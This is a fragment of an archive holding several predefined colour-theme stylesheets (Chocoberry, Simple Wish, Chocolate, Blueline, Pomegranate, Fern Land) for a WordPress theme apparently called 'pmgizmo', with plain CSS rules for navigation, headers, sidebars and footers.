		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #73480c;
	}
}pmgizmo/css/styles/chocoberry.css000064400000012436152223213640013220 0ustar00/*
Predefined Colors
Theme: Chocoberry
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #521800;
}
/* Body */
body {
    background-color: #d7cfc4;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #0780bf;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #521800;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #0a7bb6;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #531800;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #391000;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #531800;
}
/* Search */
.search-form-top {
    background-color: #0780bf;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #521800;
}
/* Main Navigation */
#navi-wrap {
	background: #521800;
	border-top: none;
	border-bottom: 4px solid #82796e;
}
.stickynav,
.natty #navi-wrap {
	background: #521800;
	border-top: 3px solid #82796e;
	border-bottom: 3px solid #82796e;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #912a01;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #391000;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #912a01;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #3d2420;
    background: #ccaa8a -webkit-gradient(linear, left top, left bottom, from(#3d2420), to(#ccaa8a)) no-repeat;
    background: #ccaa8a -moz-linear-gradient(top, #3d2420, #ccaa8a) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#3d2420, endColorstr=#ccaa8a) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#3d2420, endColorstr=#ccaa8a)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #896d69;
}
.header-line {
	border-top: 15px solid #401301;
	border-bottom: 1px solid #603523;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #531800;
}
#logo .site-title,
 #logo a:hover .site-title,
 #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #887e6b;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #531800;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #531800;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0780BF;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #412825;
	border-top: 5px solid #82796e;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #82796e;
}
#footer-widgets .widgettitle {
    background: #531800;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #583b37;
	background: #2a1614;
}
/* LOL to Top */
.scrollToTop {
    background: #412825;
}
.scrollToTop:hover {
    background: #521800;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #521800;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #912a01;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #391000;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #0780bf;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #521800;
	}
}pmgizmo/css/styles/simplewish.css000064400000010604152223213640013240 0ustar00/*
Predefined Colors
Theme: Simple Wish
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #e9e9e9;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #424242;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #323232;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #323232;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #424242;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #3299bb;
}
/* Main Navigation */
#navi-wrap {
	background: #3299bb;
	border-bottom: 3px solid #bcbcbc;
}
.natty #navi-wrap {
	background: #3299bb;
	border-top: 1px solid #bcbcbc;
	border-bottom: 1px solid #bcbcbc;
}
.stickynav {
	background: #3299bb;
	border-top: 1px solid #5da5f1;
	border-bottom: 1px solid #5da5f1;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #484545;
    background: #bcbcbc -webkit-gradient(linear, left top, left bottom, from(#484545), to(#bcbcbc)) no-repeat;
    background: #bcbcbc -moz-linear-gradient(top, #484545, #bcbcbc) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#484545, endColorstr=#bcbcbc) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#484545, endColorstr=#484545)" no-repeat;
}
.header-line {
	border-top: 15px solid #242222;
	border-bottom: 1px solid #666;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #3299bb;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #424242;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #424242;
	border-top: 5px solid #3299bb;
}
#footer-widgets .widget {
    background: #e9e9e9;
    border: 5px solid #3299bb;
}
#footer-widgets .widgettitle {
    background: #424242;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #555;
	background-color: #121212;
}
/* LOL to Top */
.scrollToTop {
    background: #424242;
    border: 3px solid #010e1f;
}
.scrollToTop:hover {
    background: #3299bb;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #084c92;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #213158;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #323232;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/chocolate.css000064400000012012152223213640013010 0ustar00/*
Predefined Colors
Theme: Chocolate
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
	text-decoration: underline;
}
/* Body */
body {
    background-color: #EADED0;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #50342C;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #442922;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #442922;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: #007B3F;
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #015bae;
	border-top: 1px solid rgba(255, 255, 255, 0.2);
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #007B3F;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid rgba(255, 255, 255, 0.2);
}
/* Search */
.search-form-top {
    background-color: #50342C;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.75);
}
.search-form .search-submit:hover {
	background: #7B3F00;
}
/* Main Navigation */
#navi-wrap {
	background: #7B3F00;
	border-bottom: 4px solid #6a0709;
}
.natty #navi-wrap {
	background: #7B3F00;
	border-top: 3px solid #50342C;
	border-bottom: 3px solid #50342C;
}
.stickynav {
	background: #7B3F00;
	border-top: 2px solid #6a0709;
	border-bottom: 2px solid #6a0709;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #EEAE6B;/* For WebKit (Safari, Chrome, etc) */
    background: #EEAE6B -webkit-gradient(linear, left top, left bottom, from(#552B00), to(#ce904e)) no-repeat;/* Mozilla,Firefox/Gecko */
    background: #EEAE6B -moz-linear-gradient(top, #552B00, #ce904e) no-repeat;/* IE 5.5 - 7 */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#552B00, endColorstr=#ce904e) no-repeat;/* IE 8 */
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#552B00, endColorstr=#552B00)" no-repeat;
}
.header-line {
	border-top: 15px solid #422303;
	border-bottom: 1px solid #693c0d;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #007B3F;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #f7f7f7;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #5998c8;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #50342C;
	border: 1px solid #50342C;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
    background-color: #EEAE6B;/* For WebKit (Safari, Chrome, etc) */
    background: #EEAE6B -webkit-gradient(linear, left top, left bottom, from(#552B00), to(#a56a2b)) no-repeat;/* Mozilla,Firefox/Gecko */
    background: #EEAE6B -moz-linear-gradient(top, #552B00, #a56a2b) no-repeat;/* IE 5.5 - 7 */
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#552B00, endColorstr=#a56a2b) no-repeat;/* IE 8 */
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#552B00, endColorstr=#552B00)" no-repeat;
	border-top: 5px solid #C8833C;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #C8833C;
}
#footer-widgets .widgettitle {
    background: #50342C;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #c38647;
	background-color: #422303;
}
/* LOL to Top */
.scrollToTop {
    background: #7B3F00;
    border: 4px solid #552c00;
}
.scrollToTop:hover {
    background: #007B3F;
}
.scrollToTop:before {
	color: #fff;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
.toggled-on .nav-menu > li a:hover,
.toggled-on .nav-menu > ul a:hover {
	background-color: #7e0909;
	color: #fff;
}
.toggled-on .nav-menu .sub-menu,
.toggled-on .nav-menu .children {
	background-color: #021935;
}
#header-banner .widget {
	padding: 0;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #50342C;
}
.wide-header #content-wrap {
	border: 0;
	margin:0 auto;
}
#sidebar {
	clear: both;
	margin: 1em 0 0;
	padding:1em;
	width: 100%;
}
}pmgizmo/css/styles/blueline.css000064400000012572152223213640012661 0ustar00/*
Predefined Colors
Theme: Blueline
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #1079c9;
}
/* Body */
body {
    background-color: #c4c8ca;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #171717;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #2775c6;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #212121;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #2775c6;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #213158;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #c62775;
}
/* Search */
.search-form-top {
    background-color: #171717;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #2775c6;
}
/* Main Navigation */
#navi-wrap {
	background: #2775c6;
	border-top: none;
	border-bottom: 4px solid #00315f;
}
.natty #navi-wrap {
	background: #2775c6;
	border-top: 1px solid #5da5f1;
	border-bottom: 1px solid #5da5f1;
}
.stickynav {
	background: #2775c6;
	border-top: 1px solid #5da5f1;
	border-bottom: 1px solid #5da5f1;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #084c92;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #213158;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #c62775;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #13171a;
    background: #5c6167 -webkit-gradient(linear, left top, left bottom, from(#13171a), to(#5c6167)) no-repeat;
    background: #5c6167 -moz-linear-gradient(top, #13171a, #5c6167) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#13171a, endColorstr=#5c6167) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#13171a, endColorstr=#5c6167)" no-repeat;
}
.natty #header-wrap {
	border-top: 1px solid #3E4245;
}
.header-line {
	border-top: 15px solid #01080f;
	border-bottom: 1px solid #33393f;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #2775c6;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #171717;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #171717;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #193761;
	border-top: 5px solid #6988b2;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #6988b2;
}
#footer-widgets .widgettitle {
    background: #01162f;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #2f5282;
	background: #010e1f;
}
/* LOL to Top */
.scrollToTop {
    background: #193761;
}
.scrollToTop:hover {
    background: #1079c9;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #2775c6;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #084c92;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #213158;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #171717;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #234f85;
	}
}pmgizmo/css/styles/pomegranate.css000064400000012776152223213640013372 0ustar00/*
Predefined Colors
Theme: Pomegranate
*/
/* Links */
a:hover,
a:active,
.post-title a:hover,
.post-title a:active,
.widget a:hover,
.widget a:active,
.postmeta a:hover,
.postmeta a:active {
	color: #8b1007;
}
/* Body */
body {
    background: #ebe2d5;
}
/* Top Navigation */
#topnav,
#topnav-icon,
#topheader {
	background: #bb160a;
}
.natty #topheader {
	border-bottom: 1px solid #e83a2e;
}
#topnav-menu .current_page_item,
#topnav-menu .current-menu-item {
	background: #301c0f;
}
.navhdr #topnav-menu .current_page_item,
.navhdr #topnav-menu .current-menu-item,
.natty #topnav-menu .current_page_item,
.natty #topnav-menu .current-menu-item {
	background: #b21408;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover,
#topnav-menu li a:hover {
	background: #720d06;
}
#topnav-menu .sub-menu,
#topnav-menu .children {
	background-color: #075257;
}
ul#topnav-menu ul a:hover,
#topnav-menu ul ul a:hover,
ul#topnav-menu ul a:focus,
#topnav-menu ul ul a:focus {
	background-color: #720d06;
}
/* Search */
.search-form-top {
    background-color: #751f18;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #301c0f;
}
/* Main Navigation */
#navi-wrap {
	background: #301c0f;
	border-top: none;
	border-bottom: 3px solid #ae0912;
}
.stickynav,
.natty #navi-wrap {
	background: #301c0f;
	border-top: 3px solid #65412a;
	border-bottom: 3px solid #65412a;
}
.nav-menu li:hover > a,
.nav-menu li a:hover,
.nav-menu li:focus > a,
.nav-menu li a:focus {
	background-color: #0a57bb;
	color: #fff;
}
.nav-menu .sub-menu,
.nav-menu .children {
	background-color: #720d06;
}
ul.nav-menu ul a:hover,
.nav-menu ul ul a:hover,
ul.nav-menu ul a:focus,
.nav-menu ul ul a:focus {
	background-color: #0a57bb;
}
#header .search-icon:before,
#header #navi-wrap .nav-menu li a,
#header .site-header .search-form:before,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:after {
	color: #f9f9f9;
}
#header #navi-wrap .nav-menu li a:hover,
#header #navi-wrap .nav-menu li.menu-item-has-children > a:hover:after,
#header #navi-wrap .nav-menu .submenu li.menu-item-has-children > a:hover:after {
	background-color: #0a57bb;
}
/* Header */
#header-wrap,
.natty #header-wrap {
	background: #d70615;
    background: #f95551 -webkit-gradient(linear, left top, left bottom, from(#d70615), to(#f95551)) no-repeat;
    background: #f95551 -moz-linear-gradient(top, #d70615, #f95551) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#d70615, endColorstr=#f95551) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#d70615, endColorstr=#f95551)" no-repeat;
}
.header-line {
	border-top: 15px solid #710805;
	border-bottom: 1px solid #eb1723;
}
#header-social-icons .social-icons-menu li a:hover,
#header-social-icons .social-icons-menu li a:hover:before  {
	background: #720d06;
}
#logo .site-title,
#logo a:hover .site-title,
#logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #9e8a82;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle,
#frontpage-magazine-widgets .widget .widgettitle,
.widget-tabnavi {
	background: #301c0f;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget,
#sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
.search-form .search-submit,
#commentform #submit {
	background: #301c0f;
}
.search-form .search-submit:hover,
#commentform #submit:hover,
.entry .more-link:hover {
	background: #0066cc;
}
/* Footer Widgets */
#footer-widgets-bg {
	background: #331100;
	border-top: 5px solid #695451;
}
#footer-widgets .widget {
    background: #eae3d8;
    border: 5px solid #695451;
}
#footer-widgets .widgettitle {
    background: #5f0500;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link,
#footer-widgets .widget a:visited {
    color: #333;
}
#footer-widgets .product-title,
#footer-widgets .widget div,
#footer-widgets .widget ul {
	color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #482615;
	background: #180a03;
}
/* LOL to Top */
.scrollToTop {
    background: #331100;
}
.scrollToTop:hover {
    background: #8b1007;
}
/* Tablets (landscape) | <960px */
@media only screen and (max-width: 60em) {
	#header .menu-toggle {
		color: #f9f9f9;
		border-bottom: none;
	}
	#header #navi-wrap {
		border: none;
	}
	#header ul.nav-menu {
		background: #301c0f;
	}
	.toggled-on .nav-menu > li a:hover,
	.toggled-on .nav-menu > ul a:hover {
		background-color: #881007;
		color: #fff;
	}
	.toggled-on .nav-menu .sub-menu,
	.toggled-on .nav-menu .children {
		background-color: #777777;
	}
	#topnav-menu .current_page_item,
	#topnav-menu .current-menu-item {
		background: #bb160a;
	}
	.wide-header #content-wrap {
		border: 0;
		margin:0 auto;
	}
	#sidebar {
		clear: both;
		margin: 1em 0 0;
		padding:1em;
		width: 100%;
	}
}
@media only screen and (max-width: 50em) {
	#topnav-menu {
		background: #301c0f;
	}
}pmgizmo/css/styles/fernland.css000064400000010610152223213640012642 0ustar00/*
Predefined Colors
Theme: Fern Land
*/
/* Links */
a:hover, a:active, .post-title a:hover, .post-title a:active, .widget a:hover, .widget a:active, .postmeta a:hover, .postmeta a:active{
	color: #1079c9;
}
/* Body */
body {
    background-color: #E7E7DD;
}
/* Top Navigation */
#topnav, #topnav-icon, #topheader {
	background: #46472b;
}
#topnav-menu li.current_page_item a, #topnav-menu li.current-menu-item a {
	background: #393a22;
}
.natty #topnav-menu li.current_page_item a, .natty #topnav-menu li.current-menu-item a {
	background: #393a22;
}
#topnav-menu {
    margin-left: 0em;
}
#topnav-menu a:hover, #topnav-menu li a:hover {
	background: rgba(255,255,255,0.15);
}
#topnav-menu .sub-menu, #topnav-menu .children {
	background-color: #213158;
	border: 2px solid #5584f7;
	border-top: none;
}
ul#topnav-menu ul a:hover, #topnav-menu ul ul a:hover, ul#topnav-menu ul a:focus, #topnav-menu ul ul a:focus {
	background-color: #c62775;
}
ul#topnav-menu ul a, #topnav-menu ul ul a {
	border-top: 1px solid #5584f7;
}
/* Search */
.search-form-top {
    background-color: #46472b;
	border: 1px solid rgba(255, 255, 255, 0.5);
}
.search-form .search-submit {
    background: rgba(0, 0, 0, 0.65);
}
.search-form .search-submit:hover {
	background: #3b3131;
}
/* Main Navigation */
#navi-wrap {
	background: #3b3131;
	border-bottom: 3px solid #b5b690;
}
.natty #navi-wrap {
	background: #3b3131;
	border-top: 1px solid #b5b690;
	border-bottom: 1px solid #b5b690;
}
.stickynav {
	background: #3b3131;
	border-top: 1px solid #46472b;
	border-bottom: 1px solid #46472b;
}
.nav-menu li:first-child, .wide-header .nav-menu li:first-child {
	border-left: none;
}
/* Header */
#header-wrap, .natty #header-wrap {
    background-color: #4d4e38;
    background: #b5b690 -webkit-gradient(linear, left top, left bottom, from(#4d4e38), to(#b5b690)) no-repeat;
    background: #b5b690 -moz-linear-gradient(top, #4d4e38, #b5b690) no-repeat;
    filter: progid:DXImageTransform.Microsoft.gradient(startColorstr=#4d4e38, endColorstr=#b5b690) no-repeat;
    -ms-filter: "progid:DXImageTransform.Microsoft.gradient(startColorstr=#4d4e38, endColorstr=#4d4e38)" no-repeat;
}
.header-line {
	border-top: 15px solid #242419;
	border-bottom: 1px solid #636351;
}
#header-social-icons .social-icons-menu li a:hover, #header-social-icons .social-icons-menu li a:hover:before  {
	background: #3b3131;
}
#logo .site-title, #logo a:hover .site-title, #logo .site-description {
	color: #fff;
}
/* Content */
.wide-header #content-wrap {
	border: 1px solid #8c9ca7;
	margin:0.6em auto 0.95em;
	box-shadow: none;
}
/* Sidebar */
#sidebar .widgettitle, #frontpage-magazine-widgets .widget .widgettitle, .widget-tabnavi, .widget-tabnavi {
	background: #46472b;
	border: 1px solid #121212;
}
#sidebar .widget {
	border: 3px solid rgba(0, 0, 0, 0.2);
}
#sidebar .sideleft .widget, #sidebar .sideright .widget {
   	border: 1px solid rgba(0, 0, 0, 0.2);
    padding: 0.4em;
}
.widget-tabbed .tabdiv li.widget-thumb .wp-post-image {
    margin: 0.3em 0.5em 0.5em 0;
	padding: 2px;
    max-width: 55px;
	border: 1px solid #ddd;
}
/* Footer Widgets */
#footer-widgets-bg {
	background-color: #46472b;
	border-top: 5px solid #b5b690;
}
#footer-widgets .widget {
    background: #f1f1dc;
    border: 5px solid #b5b690;
}
#footer-widgets .widgettitle {
    background: #46472b;
	padding: 0.7em 1em;
}
#footer-widgets .widget ul li {
    border-bottom: 1px solid rgba(0, 0, 0, 0.3);
}
#footer-widgets .widget a:link, #footer-widgets .widget a:visited {
    color: #333;
}
/* Footer */
#footer {
    border-top: 1px solid #564848;
	background-color: #2f2525;
}
/* LOL to Top */
.scrollToTop {
    background: #46472b;
    border: 4px solid #3b3131;
}
.scrollToTop:hover {
    background: #8f0853;
}
.scrollToTop:before {
	color: #fff;
}
